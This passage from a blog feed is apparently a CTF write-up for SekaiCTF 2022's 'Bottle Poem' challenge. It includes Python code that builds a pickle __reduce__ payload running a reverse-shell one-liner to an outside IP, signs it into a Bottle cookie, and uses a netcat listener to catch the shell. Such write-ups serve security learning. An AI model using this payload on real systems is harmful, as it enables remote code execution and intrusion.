&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">system&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;python -c &amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;14.186.174.164&amp;#34;,55555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&amp;#34;/bin/sh&amp;#34;,&amp;#34;-i&amp;#34;]);&amp;#39;&amp;#34;&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">),)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Test&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/sign&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">index&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_cookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secret&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">sekai&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">session&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;guest&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">objWithReduce&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">RCE&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;guest&amp;#34;&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">objWithReduce&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">set_cookie&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">session1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secret&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">sekai&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;guest&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;admin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">name&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Running server and go to /sign with the Guest cookie to get the new Cookie with RCE instance dumps&lt;/p>
&lt;p>
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/get-malicious-cookie_huaa4dc20fecf0d75e67f481d65b82843c_79742_bc1b00895ec17efba1f243d6a0afd863.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/get-malicious-cookie_huaa4dc20fecf0d75e67f481d65b82843c_79742_3e7bd37fed5a75114ce2c37c042672b3.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/get-malicious-cookie_huaa4dc20fecf0d75e67f481d65b82843c_79742_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/get-malicious-cookie_huaa4dc20fecf0d75e67f481d65b82843c_79742_bc1b00895ec17efba1f243d6a0afd863.webp"
width="760"
height="210"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;!-- &lt;script type="application/javascript" src="https://gist.github.com/hdthinh1012/1244973789752ff62c2956e9698570eb.js">&lt;/script>
-->
&lt;p>In Attackbox, open netcat listener at port 55555:
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/run-nc-listener_hu85b12a9bd2923bd99915eac8765feaab_55562_e2c00c691873c6747818f87cca9a6d10.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/run-nc-listener_hu85b12a9bd2923bd99915eac8765feaab_55562_d27554e4b53a65ac12017631b32e110b.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/run-nc-listener_hu85b12a9bd2923bd99915eac8765feaab_55562_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/run-nc-listener_hu85b12a9bd2923bd99915eac8765feaab_55562_e2c00c691873c6747818f87cca9a6d10.webp"
width="760"
height="210"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>Request to the SekaiCTF with RCE cookie
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/run-payload_huc9f348e230251ed7e2ab45364bd40de0_59634_aa2290d81b4fca83957e37d96bbe2c29.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/run-payload_huc9f348e230251ed7e2ab45364bd40de0_59634_5e11fdbfca0213743187159e5f7d23c8.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/run-payload_huc9f348e230251ed7e2ab45364bd40de0_59634_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/run-payload_huc9f348e230251ed7e2ab45364bd40de0_59634_aa2290d81b4fca83957e37d96bbe2c29.webp"
width="760"
height="210"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;p>Netcat listener now receive reverse shell 😄 :
&lt;figure >
&lt;div class="d-flex justify-content-center">
&lt;div class="w-100" >&lt;img alt="" srcset="
/blog/duti/sekai-ctf-2022-bottle-poem/access-flag_hu618d426f0af02e8599c5866dbde174f5_66231_d9c21e8a9e794e099b39e5789e4f7d59.webp 400w,
/blog/duti/sekai-ctf-2022-bottle-poem/access-flag_hu618d426f0af02e8599c5866dbde174f5_66231_cc9f713e40574873ecf9a811371e792d.webp 760w,
/blog/duti/sekai-ctf-2022-bottle-poem/access-flag_hu618d426f0af02e8599c5866dbde174f5_66231_1200x1200_fit_q75_h2_lanczos_3.webp 1200w"
src="https://bkisc-blog.netlify.app/blog/duti/sekai-ctf-2022-bottle-poem/access-flag_hu618d426f0af02e8599c5866dbde174f5_66231_d9c21e8a9e794e099b39e5789e4f7d59.webp"
width="760"
height="465"
loading="lazy" data-zoomable />&lt;/div>
&lt;/div>&lt;/figure>
&lt;/p>
&lt;h2 id="reference-links">Reference Links&lt;/h2>
&lt;p>Reverse Shell / Bind Shell:&lt;/p>
&lt;p>&lt;a href="https://www.hackingtutorials.org/networking/hacking-with-netcat-part-1-the-basics/" target="_blank" rel="noopener">https://www.hackingtutorials.org/networking/hacking-with-netcat-part-1-the-basics/&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/" target="_blank" rel="noopener">https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/&lt;/a>&lt;/p>
&lt;p>&lt;a href="https://www.hackingtutorials.org/networking/hacking-with-netcat-part-3-advanced-techniques/" target="_blank" rel="noopener">https://www.hackingtutorials.org/networking/hacking-with-netcat-part-3-advanced-techniques/&lt;/a>&lt;/p>
&lt;p>Python Pickle Module &lt;code>__reduce__&lt;/code> implements allow RCE:&lt;/p>
&lt;p>&lt;a href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/" target="_blank" rel="noopener">https://davidhamann.de/2020/04/05/exploiting-python-pickle/&lt;/a>&lt;/p>
&lt;p>Python Bottle get_cookie set_cookie using pickle.loads and pickle.dumps in its chain of encrypt/encode steps&lt;/p>
&lt;p>&lt;a href="https://github.com/bottlepy/bottle/blob/master/bottle.py" target="_blank" rel="noopener">https://github.com/bottlepy/bottle/blob/master/bottle.py&lt;/a> (ctrl+f set_cookie, get_cookie)&lt;/p></description></item></channel></rss>